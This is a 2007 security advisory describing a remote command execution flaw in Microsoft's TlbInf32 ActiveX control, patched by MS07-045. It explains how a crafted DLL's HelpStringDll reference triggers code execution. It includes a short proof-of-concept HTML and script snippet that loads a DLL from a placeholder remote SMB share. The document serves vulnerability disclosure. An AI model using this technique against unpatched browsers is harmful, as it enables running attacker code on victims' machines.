TlbInf32 ActiveX Command Execution

From: Brett Moore <brett.moore(at)security-assessment.com>
Date: Wed Aug 15 2007 - 19:06:14 EDT

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• TlbInf32 ActiveX Command Execution
  =
  
• MS Bulletin posted:
• http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx
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• Affected Software:
• Internet Explorer
• tlbInf32.dll
• vstlbinf.dll
  =
  
• Public disclosure on Wednesday August 15, 2007

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The TypeLib Information object library , implemented in TlbInf32.dll, is a set of COM objects designed to make type library browsing functionality easily accessible to both Visual Basic and C++ programmers.

Although it is not marked as safe for scripting in the registry, it does implement IObjectSafety.

   Report for Clsid: {8B217746-717D-11CE-AB5B-D41203C10000}    RegKey Safe for Script: False
   RegKey Safe for Init: False
   Implements IObjectSafety: True
   IDisp Safe: Safe for untrusted: caller,data

The TypeLibInfoFromFile() function is used to open a file and retrieve the
typelib information from it.

   TypeLibInfoFromFile(ByVal FileName As String) As TypeLibInfo

This function will accept a webdav/smb share to a DLL file, allowing the retrieval of information from a DLL hosted on a remote server.

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TlbInf32.chm
  Type libraries can contain help information for the library itself   (TypeLibInfo object), each TypeInfo (TypeInfo object), and each member   (MemberInfo object). This information is available in several different
  forms.

  HelpString is the documentation string which appears as a short   description of the string in object browsers. If the optional LCID   (Language/Country identifier) is specified, then the returned string is
  localized if possible.

  Documentation strings can be stored either in the type library directly
  or retrieved via a call to the DLLGetDocumentation entry point in the Dll
  specified by the HelpStringDll property.   

  The HelpStringContext is passed to the HelpStringDll to get the correct
  documentation string for the object. The HelpStringDll and   HelpStringContext properties values are used automatically by the   HelpString property.

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If the DLL file specified in the call to TypeLibInfoFromFile() has been modified to direct the HelpStringDll property to a DLL which exports a malicious DLLGetDocumentation function, then this function will be executed when a request for the HelpString property is made.

   <object width=1000 height=20 classid="CLSID:<CLASSID>" name=test></object>

   x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")    ' Call the remote DLLGetDocumentation function    alert(x.Interfaces.Item(a).Members.Item(b).HelpString)

• Solutions ==

Install the vendor supplied patch.

    http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx

• Credit ==

Discovered and advised to Microsoft November 23 2006 by Brett Moore of Security-Assessment.com

As this is my last advisory release before I leave sa.com and head off into the future, I gotta say thanx to the team there, its been a blast guys.

All you kiwis overseas have you thought about a trip home. www.kiwicon.org

+-SoSD-+ Received on Thu Aug 16 11:44:11 2007